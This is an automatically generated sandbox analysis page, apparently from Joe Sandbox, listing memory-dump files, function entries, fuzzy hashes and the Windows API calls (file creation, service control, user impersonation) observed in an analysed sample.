Associated: 00000003.00000002.1986833668.0000000000F62000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1986856811.0000000000F66000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1986878955.0000000000F6A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1986903709.0000000000F76000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987017767.00000000010CB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987041975.00000000010CD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987069461.00000000010E4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987090456.00000000010E6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987118017.00000000010F3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987182109.00000000010F5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987211126.00000000010F9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987288405.0000000001105000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987311943.0000000001108000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987334316.0000000001109000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987356868.000000000110A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987383065.000000000110B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987403922.000000000110C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987429724.0000000001121000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987451735.000000000112B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987473548.000000000112D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987495404.0000000001135000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987518916.0000000001142000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987540269.0000000001149000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987571057.0000000001160000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987595440.0000000001166000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987620555.0000000001167000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987676085.0000000001170000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987704745.000000000117F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987725433.0000000001181000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987748751.0000000001182000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987773260.0000000001185000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987794631.000000000118C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987946586.000000000118F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987974359.0000000001196000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987996852.000000000119A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1988017888.00000000011A1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1988042346.00000000011A5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1988066362.00000000011B6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1988086629.00000000011B7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1988107644.00000000011C6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1988407326.00000000011C8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1988443013.00000000011F8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1988465161.00000000011F9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1988487301.0000000001202000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1988487301.0000000001209000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1988534432.0000000001218000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1988556264.000000000121A000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_f60000_CDYE6QFT7BVP6AK0822DTDO89F1Y.jbxd

Similarity

API ID: CreateFile
String ID: #
API String ID: 823142352-1885708031
Opcode ID: bfafbd3b2083ec36766f5137ec3aa9db4713be1d4e504ef3d158c28565b5179f
Instruction ID: 93d1e4ac9c6fe733d9d49a1707c05f52459af32aead05bd2ceff155fff47d4c1
Opcode Fuzzy Hash: bfafbd3b2083ec36766f5137ec3aa9db4713be1d4e504ef3d158c28565b5179f
Instruction Fuzzy Hash: B2F0A73180835E5ECB319F75C8A5ADFBFE5FE9232171454AFE4809A512C2764924CB51

Function 010EB7AF Relevance: 1.6, APIs: 1, Instructions: 63
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE ref: 010EB871

Memory Dump Source

Source File: 00000003.00000002.1987118017.00000000010E7000.00000040.00000001.01000000.00000006.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000003.00000002.1986811297.0000000000F60000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1986833668.0000000000F62000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1986856811.0000000000F66000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1986878955.0000000000F6A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1986903709.0000000000F76000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987017767.00000000010CB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987041975.00000000010CD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987069461.00000000010E4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987090456.00000000010E6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987118017.00000000010F3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987182109.00000000010F5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987211126.00000000010F9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987288405.0000000001105000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987311943.0000000001108000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987334316.0000000001109000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987356868.000000000110A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987383065.000000000110B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987403922.000000000110C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987429724.0000000001121000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987451735.000000000112B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987473548.000000000112D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987495404.0000000001135000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987518916.0000000001142000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987540269.0000000001149000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987571057.0000000001160000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987595440.0000000001166000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987620555.0000000001167000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987676085.0000000001170000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987704745.000000000117F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987725433.0000000001181000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987748751.0000000001182000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987773260.0000000001185000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987794631.000000000118C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987946586.000000000118F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987974359.0000000001196000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987996852.000000000119A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1988017888.00000000011A1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1988042346.00000000011A5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1988066362.00000000011B6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1988086629.00000000011B7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1988107644.00000000011C6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1988407326.00000000011C8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1988443013.00000000011F8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1988465161.00000000011F9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1988487301.0000000001202000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1988487301.0000000001209000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1988534432.0000000001218000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1988556264.000000000121A000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_f60000_CDYE6QFT7BVP6AK0822DTDO89F1Y.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: d47aea0333c5782022e813148b2740afe4b1f910c8639ef3e84c85ecfd837fc2
Instruction ID: 81c7a5e9ae5850e22320512ac9d164cbbe7aed2f691d4c23521c0d6ebf295a0a
Opcode Fuzzy Hash: d47aea0333c5782022e813148b2740afe4b1f910c8639ef3e84c85ecfd837fc2
Instruction Fuzzy Hash: 6C01407518E1175ED716AD662EA95FF3BD8E882164319402BE4C2C7643D711490BC6D2

Function 048B0D48 Relevance: 1.6, APIs: 1, Instructions: 59
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 048B0DCD

Memory Dump Source

Source File: 00000003.00000002.1997438785.00000000048B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 048B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_48b0000_CDYE6QFT7BVP6AK0822DTDO89F1Y.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: 70eebf3c5302259b30a06437fafde27d04861a199e67a491da1ae6e5751bc738
Instruction ID: 627d1548b3ce1e0f273fde087aaf1deff7f408e14e201c420a47f2b2895f331b
Opcode Fuzzy Hash: 70eebf3c5302259b30a06437fafde27d04861a199e67a491da1ae6e5751bc738
Instruction Fuzzy Hash: A22134B68012089FCB10CFA9D884BDEFBF4FB88310F14861AE908AB344C774A544CBA5

Function 048B0D43 Relevance: 1.6, APIs: 1, Instructions: 57
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 048B0DCD

Memory Dump Source

Source File: 00000003.00000002.1997438785.00000000048B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 048B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_48b0000_CDYE6QFT7BVP6AK0822DTDO89F1Y.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: 5c7a769cd882003efc68b281e9d2523ff968260717586aad0080a9be4d7448c2
Instruction ID: fe31ffc8d78b65d41d5e3fba69eff9cd757c51d95b63fcc9808feeb569bd4711
Opcode Fuzzy Hash: 5c7a769cd882003efc68b281e9d2523ff968260717586aad0080a9be4d7448c2
Instruction Fuzzy Hash: 872118B6D012098FDB50CFA9D4847DEFBF1BB88310F15865AD908AB344C774A545CFA5

Function 048B1510 Relevance: 1.6, APIs: 1, Instructions: 54
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ControlService.ADVAPI32(?,?,?), ref: 048B1580

Memory Dump Source

Source File: 00000003.00000002.1997438785.00000000048B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 048B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_48b0000_CDYE6QFT7BVP6AK0822DTDO89F1Y.jbxd

Similarity

API ID: ControlService
String ID:
API String ID: 253159669-0
Opcode ID: 41bc5daa58eba0401e04500cd0ac93524cb1d43b107f652eb697ab25873d926a
Instruction ID: ad079a83daa259c0c7970d6ea7e7b54a066fba33f0a4b02ceb81d48276acd626
Opcode Fuzzy Hash: 41bc5daa58eba0401e04500cd0ac93524cb1d43b107f652eb697ab25873d926a
Instruction Fuzzy Hash: 8F11E4B59002499FDB10CFAAC484BDEFBF4FB48320F10842AE559A7250D378A644CFA5

Function 048B1509 Relevance: 1.6, APIs: 1, Instructions: 51
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ControlService.ADVAPI32(?,?,?), ref: 048B1580

Memory Dump Source

Source File: 00000003.00000002.1997438785.00000000048B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 048B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_48b0000_CDYE6QFT7BVP6AK0822DTDO89F1Y.jbxd

Similarity

API ID: ControlService
String ID:
API String ID: 253159669-0
Opcode ID: 8b80d4b66987494194b385d325e9bf4b37e87905253607f60c3f2bf29cc8571b
Instruction ID: 1ec7442c4557ad7ccd395e2ecb608aa032c1a8f6c0b6a792134e3fcec6fd2811
Opcode Fuzzy Hash: 8b80d4b66987494194b385d325e9bf4b37e87905253607f60c3f2bf29cc8571b
Instruction Fuzzy Hash: 442103B69002498FDB10CFAAC544BDEBBF0AB48320F10842AE558E7250D378A644CFA5

Function 048B1301 Relevance: 1.5, APIs: 1, Instructions: 48
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 048B1367

Memory Dump Source

Source File: 00000003.00000002.1997438785.00000000048B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 048B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_48b0000_CDYE6QFT7BVP6AK0822DTDO89F1Y.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID:
API String ID: 2216092060-0
Opcode ID: 8e2691f2d7bb9345f88ca984b0d5d45ce70398ab1247092ee796a0d5a64629fb
Instruction ID: 2ea27cb3f3b31d0ef87a82fae915a5effe677f7e9123ba4da92b4c6377c3fc57
Opcode Fuzzy Hash: 8e2691f2d7bb9345f88ca984b0d5d45ce70398ab1247092ee796a0d5a64629fb
Instruction Fuzzy Hash: 351125B1804349CFDB10CFAAD445BEEFBF4EB48324F10846AD558A7650D378A584CFA5

Function 048B1308 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 048B1367

Memory Dump Source

Source File: 00000003.00000002.1997438785.00000000048B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 048B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_48b0000_CDYE6QFT7BVP6AK0822DTDO89F1Y.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID:
API String ID: 2216092060-0
Opcode ID: bbc811ee11b87513fe0f79ae0e4011f6080b67c109929074fe84e4aadf5b7c4c
Instruction ID: 8bedcd8be1d5a4fdfb4a05e08e53e69ac485daea3558034d097a1be8c95b574b
Opcode Fuzzy Hash: bbc811ee11b87513fe0f79ae0e4011f6080b67c109929074fe84e4aadf5b7c4c
Instruction Fuzzy Hash: 2E1136B1800349CFDB10CFAAC445BDEFBF4EB48324F10846AD558A7650D378A544CFA5

Function 010EB7A9 Relevance: 1.5, APIs: 1, Instructions: 47
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE ref: 010EB871

Memory Dump Source

Source File: 00000003.00000002.1987118017.00000000010E7000.00000040.00000001.01000000.00000006.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000003.00000002.1986811297.0000000000F60000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1986833668.0000000000F62000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1986856811.0000000000F66000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1986878955.0000000000F6A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1986903709.0000000000F76000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987017767.00000000010CB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987041975.00000000010CD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987069461.00000000010E4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987090456.00000000010E6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987118017.00000000010F3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987182109.00000000010F5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987211126.00000000010F9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987288405.0000000001105000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987311943.0000000001108000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987334316.0000000001109000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987356868.000000000110A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987383065.000000000110B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987403922.000000000110C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987429724.0000000001121000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987451735.000000000112B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987473548.000000000112D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987495404.0000000001135000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987518916.0000000001142000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987540269.0000000001149000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987571057.0000000001160000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987595440.0000000001166000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987620555.0000000001167000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987676085.0000000001170000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987704745.000000000117F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987725433.0000000001181000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987748751.0000000001182000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987773260.0000000001185000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987794631.000000000118C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987946586.000000000118F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987974359.0000000001196000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987996852.000000000119A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1988017888.00000000011A1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1988042346.00000000011A5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1988066362.00000000011B6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1988086629.00000000011B7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1988107644.00000000011C6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1988407326.00000000011C8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1988443013.00000000011F8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1988465161.00000000011F9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1988487301.0000000001202000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1988487301.0000000001209000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1988534432.0000000001218000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1988556264.000000000121A000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_f60000_CDYE6QFT7BVP6AK0822DTDO89F1Y.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 3ed86de9bbcd2bbc5b55129f2f5918a4a6378f5daa94a4664a3156a06f03d981
Instruction ID: d91ee1045a2d2f8c17bf2a3e5780155b337380f5cefe0675ab533b4adc9dae2f
Opcode Fuzzy Hash: 3ed86de9bbcd2bbc5b55129f2f5918a4a6378f5daa94a4664a3156a06f03d981
Instruction Fuzzy Hash: C6F04C7514E1169FE711EE532A999FF3BE8ED412A4315042BE4C2D7A02E7200E0AC6A2

Function 010EB7EC Relevance: 1.5, APIs: 1, Instructions: 36
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE ref: 010EB871

Memory Dump Source

Source File: 00000003.00000002.1987118017.00000000010E7000.00000040.00000001.01000000.00000006.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000003.00000002.1986811297.0000000000F60000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1986833668.0000000000F62000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1986856811.0000000000F66000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1986878955.0000000000F6A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1986903709.0000000000F76000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987017767.00000000010CB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987041975.00000000010CD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987069461.00000000010E4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987090456.00000000010E6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987118017.00000000010F3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987182109.00000000010F5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987211126.00000000010F9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987288405.0000000001105000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987311943.0000000001108000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987334316.0000000001109000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987356868.000000000110A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987383065.000000000110B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987403922.000000000110C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987429724.0000000001121000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987451735.000000000112B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987473548.000000000112D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987495404.0000000001135000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987518916.0000000001142000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987540269.0000000001149000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987571057.0000000001160000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987595440.0000000001166000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987620555.0000000001167000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987676085.0000000001170000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987704745.000000000117F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987725433.0000000001181000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987748751.0000000001182000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987773260.0000000001185000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987794631.000000000118C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987946586.000000000118F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987974359.0000000001196000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987996852.000000000119A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1988017888.00000000011A1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1988042346.00000000011A5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1988066362.00000000011B6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1988086629.00000000011B7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1988107644.00000000011C6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1988407326.00000000011C8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1988443013.00000000011F8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1988465161.00000000011F9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1988487301.0000000001202000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1988487301.0000000001209000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1988534432.0000000001218000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1988556264.000000000121A000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_f60000_CDYE6QFT7BVP6AK0822DTDO89F1Y.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 49c1c575adcf532cb78c0df9e55798e96576dad58baff6a889d4c4e3d857b351
Instruction ID: c39a898be3cd65c85a3b432f29a8dfec47afdce496946cb28f9f8ede580be7f4
Opcode Fuzzy Hash: 49c1c575adcf532cb78c0df9e55798e96576dad58baff6a889d4c4e3d857b351
Instruction Fuzzy Hash: 59F0243000E22ACFC702EEA295EA9EA7BE4DE09124311042FC8C687606E3304D0BC7D7

Function 010EB80F Relevance: 1.5, APIs: 1, Instructions: 34
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE ref: 010EB871

Memory Dump Source

Source File: 00000003.00000002.1987118017.00000000010E7000.00000040.00000001.01000000.00000006.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000003.00000002.1986811297.0000000000F60000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1986833668.0000000000F62000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1986856811.0000000000F66000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1986878955.0000000000F6A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1986903709.0000000000F76000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987017767.00000000010CB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987041975.00000000010CD000.00000080.00000001.01000000.00000006.sdmpDownload File
